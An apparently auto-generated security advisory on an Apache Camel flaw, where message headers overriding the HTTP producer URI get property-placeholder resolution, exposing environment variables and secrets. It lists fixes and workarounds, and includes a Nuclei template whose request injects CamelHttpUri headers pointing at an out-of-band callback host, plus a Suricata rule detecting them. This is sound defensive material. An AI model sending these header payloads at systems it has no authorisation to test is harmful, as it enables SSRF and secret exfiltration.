CVE-2026-78164: Apache Camel: HTTP producers resolve property placeholders in message-supplied URI override headers

What it is

Improper Neutralization of Special Elements Used in a Template Engine and Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Camel HTTP, Netty HTTP, Undertow and Vert.x HTTP components. This issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1. The Camel HTTP producer families let an inbound message override the endpoint URI through the CamelHttpUri and CamelRestHttpUri headers, and then passed that message-supplied string through CamelContext.resolvePropertyPlaceholders() before using it. Property-placeholder resolution is a configuration-resolution facility, not a URI-parsing step: it reaches operating-system environment variables, JVM system properties, every PropertiesFunction registered on the classpath - including the secret functions - and, through camel-bean, the invocation of a no-argument method on any bean in the registry. Applying it to Exchange content therefore turned a URI string into a configuration- and bean-evaluation context. A route author opted into none of this: a plain static to(“http://backend/api”) was sufficient. Seven call sites were affected: HttpHelper.createURL and HttpHelper.createMethod in camel-http-common, HttpMethodHelper.createMethod in camel-http, VertxHttpHelper.resolveHttpURI in camel-vertx-http, UndertowHelper.createURL and UndertowHelper.createMethod in camel-undertow, and NettyHttpHelper.createURL in camel-netty-http. The bridgeEndpoint option did not bound the exposure: it suppresses the CamelHttpUri override in the createURL family but not in the createMethod family, so a route using the documented bridging configuration still resolved placeholders taken from the header, and CamelRestHttpUri was consumed before any bridgeEndpoint check in all four components. Only camel-http offered an opt-out, skipControlHeaders, which defaults to false. Reaching the headers did not always require header injection, because several Camel HTTP consumers populate CamelHttpUri from the request line themselves as a documented reverse-proxy feature. An unresolvable placeholder additionally produced a RuntimeExchangeException whose message echoed the URI, which distinguishes a set from an unset configuration key even where no outbound request is made. The behaviour predates the 4.x line. This advisory continues the alignment CAMEL-24282 applied to the toD and enrich dynamic-URI EIPs in 4.22.0, extending the same build-time-resolution contract to the HTTP producer components. Users should upgrade to version 4.23.0, which fixes the issue. Users on the 4.22.x releases stream should upgrade to 4.22.1. Users on the 4.18.x releases stream should upgrade to 4.18.5. The 4.14.x releases stream and earlier reached end of life before this issue was resolved and will not receive a fix, so deployments on those lines must move to a supported release. For deployments that cannot upgrade immediately, strip the override headers at the trust boundary before the producer with removeHeader(“CamelHttpUri”) and removeHeader(“CamelRestHttpUri”), or set skipControlHeaders=true on camel-http endpoints, which is the only component offering that option. Note that bridgeEndpoint=true is not a workaround: it suppresses the header override when the outbound URL is built but not when the header is re-parsed for the query string. Percent-encoding the placeholder delimiters is likewise not a mitigation for camel-netty-http, whose binding decodes the request path before the value reaches the header, so proxy or WAF rules written against the raw delimiters do not help there. As defence in depth, ensure consumers exposed to untrusted senders apply a strict inbound HeaderFilterStrategy over the Camel namespace, and resolve secrets through a vault rather than through environment variables or system properties that a placeholder can name.

Description quoted from the CVE record (assigned by apache, published 2026-10-19).

Weakness: CWE-1336 Improper Neutralization of Special Elements Used in a Template Engine; CWE-200 Exposure of Sensitive Information to an Unauthorized Actor

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity low, availability none. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

CISA assessment (SSVC): CISA has no evidence of exploitation. Automatable: yes. Technical impact: partial.

Public exploit evidence (Exploit Observer)

Also known as: EUVD-2026-104222, GHSA-394j-cc2x-w9wm

VEDAS cluster: VEDAS:DIVINEDUST

Exploit Observer links 6 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (6)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

• Code repository: https://github.com/oscerd/cve-2026-78164
• Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2026/CVE-2026-78164.yaml
• Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2026/CVE-2026-78164.yaml
• Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2026/CVE-2026-78164.rules
• Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2026/CVE-2026-78164.rules
• Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2026/CVE-2026-78164.rules

Research and write-ups (1)

• Research or write-up: https://camel.apache.org/security/CVE-2026-78164.html

Vulnerability databases and vendor advisories (3)

Catalogue entries, not exploit evidence.

• Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2026-104222
• Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-394j-cc2x-w9wm
• Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2026-78164

4 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS

0.003
low predicted chance of attack

VEDAS

0.987
strong exploit evidence

On CISA KEV

Not listed

Detection rule

Nuclei · Suricata

Who is affected

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

Fixed versions stated in the CVE record: 4.18.5, 4.22.1.

Vendor guidance:

• Apache Camel Security Advisory - CVE-2026-78164 (vendor-advisory)
• Fix on main (patch)
• Fix commit on main (4.23.0) (patch)
• Backport commit on camel-4.22.x (4.22.1) (patch)
• Backport commit on camel-4.18.x (4.18.5) (patch)

How to detect it

Nuclei template (active check)

Apache Camel - HTTP Producer URI Override SSRF

Apache Camel (camel-http, camel-http-common, camel-vertx-http, camel-undertow and camel-netty-http producers) lets an inbound message override the outbound producer endpoint URI through the CamelHttpUri / CamelRestHttpUri headers, then passes that attacker-controlled string through CamelContext.resolvePropertyPlaceholders() before use. A remote client can therefore force a vulnerable HTTP producer route to issue an outbound request to an attacker-controlled host (and resolve configuration / secret property placeholders into it). This affects Apache Camel 4.0.0 before 4.18.5 and 4.19.0 before 4.22.1.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (GET /); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using word matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

nuclei -u https://your-host -t CVE-2026-78164.yaml

id: CVE-2026-78164

info:
  name: "Apache Camel - HTTP Producer URI Override SSRF"
  author: vedas-arpsyndicate
  severity: high
  description: |
    Apache Camel (camel-http, camel-http-common, camel-vertx-http, camel-undertow and camel-netty-http
    producers) lets an inbound message override the outbound producer endpoint URI through the
    CamelHttpUri / CamelRestHttpUri headers, then passes that attacker-controlled string through
    CamelContext.resolvePropertyPlaceholders() before use. A remote client can therefore force a vulnerable
    HTTP producer route to issue an outbound request to an attacker-controlled host (and resolve
    configuration / secret property placeholders into it). This affects Apache Camel 4.0.0 before 4.18.5
    and 4.19.0 before 4.22.1.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-78164&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=apache_camel&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2026-78164
    cwe-id: CWE-200
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2026,apache_camel,ssrf,oast

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        CamelHttpUri: http://{{interactsh-url}}/collect
        CamelRestHttpUri: http://{{interactsh-url}}/collect

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
        condition: or

CVE-2026-78164.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-78164 Apache Camel - HTTP Producer URI Override via CamelHttpUri Header. Add them to your Suricata rule set and reload.

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-78164 Apache Camel - HTTP Producer URI Override via CamelHttpUri Header"; flow:established,to_server; http.header_names; content:"HttpUri"; nocase; fast_pattern; pcre:"/\x0d\x0aCamel(?:Rest)?HttpUri\x0d\x0a/i"; classtype:web-application-attack; reference:cve,CVE-2026-78164; reference:url,https://www.exploit.observer/?keyword=CVE-2026-78164&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=apache_camel&match=exact; sid:1078200; rev:1;)

CVE-2026-78164.rules on GitHub

References

Vendor advisories and patches

• Apache Camel Security Advisory - CVE-2026-78164 (vendor-advisory)
• Fix on main (patch)
• Fix commit on main (4.23.0) (patch)
• Backport commit on camel-4.22.x (4.22.1) (patch)
• Backport commit on camel-4.18.x (4.18.5) (patch)

Exploits and technical analysis

• CAMEL-24418 (issue-tracking)

Other databases

• CVE record (cve.org)
• NVD
• Exploit Observer

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.